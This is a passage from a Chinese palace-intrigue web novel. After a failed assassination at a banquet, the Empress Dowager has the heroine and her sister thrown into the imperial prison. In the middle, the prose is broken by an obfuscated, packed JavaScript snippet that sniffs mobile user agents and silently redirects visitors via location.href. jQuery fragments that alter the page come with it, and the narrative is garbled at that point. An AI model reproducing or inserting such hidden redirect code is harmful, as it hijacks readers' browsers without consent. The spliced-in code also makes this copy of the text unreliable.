两名侍卫应声上前,动作看似恭敬,实则不容抗拒地扶住夜绫柔的双臂。她剧烈挣扎起来,发髻散乱,珠钗委地,嘶声道:“乱臣贼子!纵使我今日功败垂成,来日也定有人取你项上人头,祭我父王在天之灵!”
满座宾客屏息垂首,瓷盏中酒液微微晃动,映出无数张惊惶的面容。
夜旖缃猛地起身,锦凳在青石地面刮出刺耳声响。她唇瓣微启,那个“不”字尚未出口,袖摆便被昭宁死死攥住。
“别犯糊涂。”昭宁压低的声音带着罕见的凝重,指尖因用力而泛白,“皇叔既说了是家事,你此刻强出头,便是将把柄递到他手里。”她目光扫过楚晞看似含笑实则冰冷的侧脸,“他既称她为王妃,至少性命无虞。”
夜旖缃胸口剧烈起伏,看着妹妹被半扶半架着带离大殿。夜绫柔回头望来的那一眼,满是泪水与不甘,像烧红的烙铁烫在她心上。她终是缓缓坐下,指节捏得发白。
楚晞执起金樽,环视满堂噤若寒蝉的宾客,唇边笑意如春水漾开:“内子近来忧思过甚,时常癔语,惊扰诸位雅兴了。”他轻击掌,丝竹声重新响起,却再难掩殿内凝滞的气氛,“今日佳酿难得,诸君请满饮此杯。”
乐师拨动琴弦,舞姬水袖翻飞,却再无人在意翩跹舞姿。所有人心照不宣地举杯,酒液入喉,皆品出几分苦涩。琉璃灯盏投下的光影在楚晞玄色蟒袍上流转,那金线绣出的四爪巨蟒,在摇曳烛火中似要择人而噬。
夜旖缃垂眸盯着案上玉箸,白玉箸身映出她苍白的脸。
舞姬的彩绸尚未完全敛去,一声悠长的通传便刺破了大殿虚假的喧闹:“太后娘娘驾到——”
殿内霎时安静。众人慌忙离席,衣料摩挲间,一片窸窣作响,纷纷垂首行礼。
“太后万安……”
太后身着明金色凤穿牡丹宫装,裙摆逶迤,在宫婢搀扶下缓步登上主位,目光如古井无波,淡淡扫过全场,抬手道:“众卿平身。”
声音不高,却带着不容置疑的威仪。
众人依言落座,却再无方才的闲适,个个正襟危坐。
“母后来得正巧,”楚晞起身,含笑上前亲自搀扶,语气亲昵,“儿臣特意备了西域新贡的乐器,正要请母后鉴赏。”
“哀家可不是来得巧,”太后斜睨他一眼,指尖轻轻点着紫檀扶手,声音不大,却清晰地传入每个人耳中,“若再晚来一步,我儿的性命,怕是要折在哪个不知死活的前朝余孽手里了!”
楚晞笑容不变,执起酒壶为太后斟酒:“母后言重了。不过是个不懂事的小丫头闹脾气,儿臣还应付得来。”
“啪!”
太后将手中的和田玉茶碟重重搁在案上,清脆的碎裂声如同惊雷,殿内空气瞬间凝固。
“哀家与皇帝自问待你们这些前朝旧臣不薄!”太后声音陡然转厉,凤眸含威,缓缓扫过台下众臣,“赐爵位,赏封地,保你们荣华依旧。你们便是这般回报天恩的?”
“太后容禀。”萧尚书离席出列,躬身道,“臣以为,此次行刺事出突然,更像是个意外。若前朝旧臣真存异心,断不会派一个弱质女流,在众目睽睽之下行此鲁莽之事。”
“尚书令此言差矣。”丞相紧接着站出,声音沉稳却带着锋芒,“以老臣之见,此绝非偶然。千里之堤,溃于蚁穴。这分明是有人故意试探朝廷底线,想看陛下与太后对此等大逆不道之行,会施以何等惩戒!依臣之见,凡有嫌疑者,皆应立刻缉拿,严加审讯,方能杜绝后患!”
春橝在人群后方见状,脸色微白,悄无声息地退出大殿,身影迅速没入殿外的黑暗中。
“丞相未至知天命之年,已是华发丛生,”楚晞忽然轻笑出声,琉璃色的眸子带着几分讥诮,“看来确是忧思过甚了。本王方才已说得很清楚,这不过是……”
“是什么?!”太后猛地转头看向他,目光锐利如刀,“难道你也想学你侄儿,非要娶个前朝祸水进门不成?!”
楚晞未尽的话语噎在喉中,他垂下眼睫,转而温声劝慰:“母后息怒。儿臣只是念及昔日曾教过她几日剑术,总算有半师之谊。如今她孤苦无依,儿臣岂能眼睁睁看着她流离失所?这才想暂且收容。”
“我儿重情重义,但需得擦亮眼睛,莫要被那等包藏祸心之辈利用!”太后语气稍缓,却带着不容置疑的决断,凤眸再次扫向全场,声音沉冷,“传哀家旨意,所有涉事可疑之人,即刻押送诏狱,给哀家细细地审!务必撬开他们的嘴,揪出幕后主使!”
话音刚落,夜旖缃便觉肩头一沉,两只铁钳般的手已反剪住她的双臂,冰冷的触感透过衣衫直抵肌肤。
“皇祖母!”昭宁公主神色骤变,急急出声,“夜旖缃她断不可能是从犯……”
“住口!”太后冷声打断,目光如冰刃般扫过昭宁,“你私自出宫之事,哀家尚未追究!”昭宁瞬间噤声,脸色煞白。
夜旖缃没有挣扎,她抬起眼,冷冷望向高踞主位的太后,唇角勾起一抹极淡的自嘲。此刻她终于明白,太后为何特意命她协理此次宫宴。即便没有绫柔的行刺,太后怕也早已备好了别的罪名,只等一个合适的时机,在众目睽睽之下将她打入深渊。此举一石二鸟,既借机震慑清理前朝旧臣,又能彻底除去她这个“前朝余孽”。
“老臣对朝廷忠心耿耿,天地可鉴!为何要审!”镇安王也被侍卫制住,花白的胡须因愤怒而颤抖,被强行拖了下去。
“太后!臣冤枉啊!”纪衔青挣扎着抬头喊道,脸上写满了惊惧与不甘。
这场突如其来的风波看似暂歇,西域胡姬抱着造型奇特的乐器袅袅娜娜而入,琵琶声起,试图重新营造欢宴氛围,然而殿内气氛早已僵冷如冰。
楚晞眉头微蹙,似乎想到什么,侧首示意心腹近前。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16809184|184437||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他刚欲低声吩咐,太后的声音已淡淡传来,她目视前方,仿佛早已洞悉他的心思:“不必派人去看了。你那个‘爱徒’,哀家来的路上,已命人‘请’去该去的地方了。想必……比她姐姐更早一步领略诏狱风光。”
楚晞执杯的手指几不可察地收紧了一瞬,指节泛白。他抬眼,声音里带着一丝不易察觉的紧绷:“母后,她……年方及笄,尚且年幼无知……”
“身为天家子弟,当以社稷为重!”太后声音陡然转冷,带着严厉的警告,“切莫因儿女私情,蒙蔽了双眼,乱了分寸!”
楚晞垂下眼眸,沉默片刻,终是将杯中酒一饮而尽,低声道:“是……儿臣……知错。”
*
诏狱,是阳光永远照不透的深渊。
空气里弥漫着浓重的霉味、血腥味和某种难以形容的腐败气息,混杂在一起,令人作呕。通道狭窄而幽深,两侧石壁渗出冰冷的水珠,脚下潮湿黏腻,不时有黑影“嗖”地窜过,带起窸窣声响,是肥硕的老鼠在肆无忌惮地穿行。
夜旖缃被粗暴地推搡进一间狭小的牢房,铁门在身后“哐当”一声合拢,落下重锁。黑暗瞬间将她吞噬,只有远处墙壁上插着的火把,投来一丝微弱摇曳的光,勉强勾勒出牢房狰狞的轮廓。
一只老鼠擦着她的脚边跑过,湿冷的触感和突然的惊吓让她本能地发出一声短促的惊呼。
“嚎什么丧!”狱卒粗哑的呵斥声立刻传来,伴随着皮鞭抽打在铁栏上的刺耳声响,“给老子安静点!再嚷嚷,下一个就提你出来尝尝鲜!”
进了这人间炼狱,恐怕再无重见天日之时。绝望如同冰冷的毒蛇,缠绕上心头。
“本官没有同党!没有!”一声嘶哑凄厉的呐喊突然从通道尽头传来,打破了死寂,带着濒死的挣扎,“是那毒妇祸乱朝纲!牝鸡司晨!本官是为了南朝江山,为了陛下!就算千刀万剐,也要将她的罪行公之于众!啊——!”
凄厉的惨叫陡然拔高,紧接着是皮肉被炙烤的“滋滋”声和一股令人毛骨悚然的焦糊味传来,在幽闭的空间里久久回荡,折磨着每一个囚徒的神经。
“长姐……”一个微弱带着颤抖的声音,从左侧厚重的石墙后隐约传来。
“绫柔?”夜旖缃心头一紧,立刻扑到墙边,压低声音回应,“是你吗?”
“是我……”隔壁传来压抑的啜泣声,“对不起,长姐……终究还是连累你了……”
“不,绫柔,你没有错。”夜旖缃将脸颊贴在冰冷潮湿的石壁上,仿佛这样能给予妹妹一丝力量,“你做得对,是长姐没用,没有你的勇气。别怕,姐姐在这里。”
“我不怕……”夜绫柔的声音带着哭腔,却有一股倔强,“若是死了,就能见到父皇、阿娘,还有……还有我们那些死去的族人了……”
“闭嘴!找死吗!”狱卒的厉喝再次打断了她的话。